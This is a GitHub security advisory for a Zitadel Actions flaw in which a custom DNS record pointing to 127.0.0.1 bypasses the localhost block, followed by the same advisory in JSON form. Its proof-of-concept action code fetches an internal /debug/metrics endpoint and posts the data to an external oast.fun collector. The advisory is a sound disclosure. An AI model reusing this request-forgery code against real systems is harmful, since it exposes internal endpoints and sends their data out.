ghsa-6cf5-w9h3-4rqv
Vulnerability from github
Published
2024-10-25 19:29
Modified
2025-07-09 15:24
Severity ?
5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
Summary
Denied Host Validation Bypass in Zitadel Actions
Details

Summary

A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.

Details

While attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record. image

The relevant action code demonstrates the attempted request to 127.0.0.1: ``` let http = require('zitadel/http') let logger = require("zitadel/log") function make_api_call(ctx, api) { var user = http.fetch('http://127.0.0.1:8080/debug/metrics');

var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
    },
    body: JSON.stringify({
        'data': user,
    }),
});
logger.log(api_r.body);

} ```

By creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request. image

The modified action code uses the custom domain instead of 127.0.0.1: ``` let http = require('zitadel/http') let logger = require("zitadel/log") function make_api_call(ctx, api) { var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics');

var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
    },
    body: JSON.stringify({
        'user': user,
    }),
});
logger.log(api_r.body);

} ```

image

This demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint. image

Impact

This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities.

Patches

2.x versions are fixed on >= 2.64.1 2.63.x versions are fixed on >= 2.63.6 2.62.x versions are fixed on >= 2.62.8 2.61.x versions are fixed on >= 2.61.4 2.60.x versions are fixed on >= 2.60.4 2.59.x versions are fixed on >= 2.59.5 2.58.x versions are fixed on >= 2.58.7

Workarounds

There is no workaround since a patch is already available.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to @prdp1137 for reporting this!

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  "details": "### Summary\nA flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1).  The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.\n\n### Details\nWhile attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record.\n\u003cimg width=\"781\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6d22dae8-407f-4420-a937-aca53d22d05d\"\u003e\n\nThe relevant action code demonstrates the attempted request to 127.0.0.1:\n```\nlet http = require(\u0027zitadel/http\u0027)\nlet logger = require(\"zitadel/log\")\nfunction make_api_call(ctx, api) {\n    var user = http.fetch(\u0027http://127.0.0.1:8080/debug/metrics\u0027);\n\n    var api_r = http.fetch(\u0027https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test\u0027, {\n        method: \u0027POST\u0027,\n        headers: {\n            \u0027Content-Type\u0027: \u0027application/json\u0027,\n        },\n        body: JSON.stringify({\n            \u0027data\u0027: user,\n        }),\n    });\n    logger.log(api_r.body);\n}\n```\n\nBy creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request.\n![image](https://github.com/user-attachments/assets/d1544a7c-684a-485c-8857-eb846ba946b7)\n\nThe modified action code uses the custom domain instead of 127.0.0.1:\n```\nlet http = require(\u0027zitadel/http\u0027)\nlet logger = require(\"zitadel/log\")\nfunction make_api_call(ctx, api) {\n    var user = http.fetch(\u0027http://ok.jelly244.messwithdns.com:8080/debug/metrics\u0027);\n\n    var api_r = http.fetch(\u0027https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test\u0027, {\n        method: \u0027POST\u0027,\n        headers: {\n            \u0027Content-Type\u0027: \u0027application/json\u0027,\n        },\n        body: JSON.stringify({\n            \u0027user\u0027: user,\n        }),\n    });\n    logger.log(api_r.body);\n}\n```\n\n![image](https://github.com/user-attachments/assets/5a1c720b-fdda-4e7a-b0e0-ec29bff6690e)\n\nThis demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint.\n![image](https://github.com/user-attachments/assets/c8e6abe4-5d2c-48d9-ba0f-dacae38ba0be)\n\n## Impact\n\nThis vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities.\n## Patches\n\n2.x versions are fixed on \u003e= [2.64.1](https://github.com/zitadel/zitadel/releases/tag/v2.64.1)\n2.63.x versions are fixed on \u003e= [2.63.6](https://github.com/zitadel/zitadel/releases/tag/v2.63.6)\n2.62.x versions are fixed on \u003e= [2.62.8](https://github.com/zitadel/zitadel/releases/tag/v2.62.8)\n2.61.x versions are fixed on \u003e= [2.61.4](https://github.com/zitadel/zitadel/releases/tag/v2.61.4)\n2.60.x versions are fixed on \u003e= [2.60.4](https://github.com/zitadel/zitadel/releases/tag/v2.60.4)\n2.59.x versions are fixed on \u003e= [2.59.5](https://github.com/zitadel/zitadel/releases/tag/v2.59.5)\n2.58.x versions are fixed on \u003e= [2.58.7](https://github.com/zitadel/zitadel/releases/tag/v2.58.7)\n\n## Workarounds\n\nThere is no workaround since a patch is already available.\n\n## Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n## Credits\n\nThanks to @prdp1137 for reporting this!",
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  "modified": "2025-07-09T15:24:53Z",
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  "summary": "Denied Host Validation Bypass in Zitadel Actions"
}


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